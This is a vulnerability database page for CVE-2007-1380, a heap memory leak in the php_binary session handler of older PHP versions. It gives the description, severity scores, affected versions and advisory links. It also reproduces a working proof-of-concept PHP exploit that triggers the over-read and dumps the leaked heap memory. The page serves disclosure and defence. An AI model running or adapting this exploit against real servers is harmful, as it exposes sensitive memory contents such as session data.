CVE-2007-1380 : Detail

CVE-2007-1380

1.13%V3
Network
2007-03-09
23h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
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CVE Descriptions

The php_binary serialization handler in the session extension in PHP before 4.4.5, and 5.x before 5.2.1, allows context-dependent attackers to obtain sensitive information (memory contents) via a serialized variable entry with a large length value, which triggers a buffer over-read.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 3413

Publication date : 2007-03-03 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP php_binary Session Deserialization Information Leak // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); ini_set("session.serialize_handler", "php_binary"); session_start(); $x = chr(36).str_repeat("A", 36)."N;".chr(127); $data = $x; session_decode($data); $keys = array_keys($_SESSION); $heapdump = $keys[1]; echo "Heapdump\n---------\n\n"; $len = strlen($heapdump); for ($b=0; $b<$len; $b+=16) { printf("%08x: ", $b); for ($i=0; $i<16; $i++) { if ($b+$i<$len) { printf ("%02x ", ord($heapdump[$b+$i])); } else { printf (".. "); } } for ($i=0; $i<16; $i++) { if ($b+$i<$len) { $c = ord($heapdump[$b+$i]); } else { $c = 0; } if ($c > 127 || $c < 32) { $c = ord("."); } printf ("%c", $c); } printf("\n"); } ?> # milw0rm.com [2007-03-04]

Products Mentioned

Configuraton 0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.4

    Php>>Php >> Version 4.0.5

    Php>>Php >> Version 4.0.6

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.1.0

    Php>>Php >> Version 4.1.1

    Php>>Php >> Version 4.1.2

    Php>>Php >> Version 4.2

      Php>>Php >> Version 4.2.0

      Php>>Php >> Version 4.2.1

      Php>>Php >> Version 4.2.2

      Php>>Php >> Version 4.2.3

      Php>>Php >> Version 4.3.0

      Php>>Php >> Version 4.3.1

      Php>>Php >> Version 4.3.2

      Php>>Php >> Version 4.3.3

      Php>>Php >> Version 4.3.4

      Php>>Php >> Version 4.3.5

      Php>>Php >> Version 4.3.6

      Php>>Php >> Version 4.3.7

      Php>>Php >> Version 4.3.8

      Php>>Php >> Version 4.3.9

      Php>>Php >> Version 4.3.10

      Php>>Php >> Version 4.3.11

      Php>>Php >> Version 4.4.0

      Php>>Php >> Version 4.4.1

      Php>>Php >> Version 4.4.2

      Php>>Php >> Version 4.4.3

      Php>>Php >> Version 4.4.4

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0

          Php>>Php >> Version 5.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.1

            Php>>Php >> Version 5.0.2

            Php>>Php >> Version 5.0.3

            Php>>Php >> Version 5.0.4

            Php>>Php >> Version 5.0.5

            Php>>Php >> Version 5.1.0

            Php>>Php >> Version 5.1.1

            Php>>Php >> Version 5.1.2

            Php>>Php >> Version 5.1.3

            Php>>Php >> Version 5.1.4

            Php>>Php >> Version 5.1.5

            Php>>Php >> Version 5.1.6

            Php>>Php >> Version 5.2.0

            References

            http://www.vupen.com/english/advisories/2007/1991
            Tags : vdb-entry, x_refsource_VUPEN
            http://secunia.com/advisories/25056
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.debian.org/security/2007/dsa-1283
            Tags : vendor-advisory, x_refsource_DEBIAN
            http://secunia.com/advisories/24606
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/24514
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://security.gentoo.org/glsa/glsa-200703-21.xml
            Tags : vendor-advisory, x_refsource_GENTOO
            http://www.securityfocus.com/bid/22805
            Tags : vdb-entry, x_refsource_BID
            http://secunia.com/advisories/25062
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.vupen.com/english/advisories/2007/2374
            Tags : vdb-entry, x_refsource_VUPEN
            http://secunia.com/advisories/25423
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.ubuntu.com/usn/usn-455-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            https://www.exploit-db.com/exploits/3413
            Tags : exploit, x_refsource_EXPLOIT-DB
            http://www.debian.org/security/2007/dsa-1282
            Tags : vendor-advisory, x_refsource_DEBIAN
            http://secunia.com/advisories/25850
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/25057
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/25025
            Tags : third-party-advisory, x_refsource_SECUNIA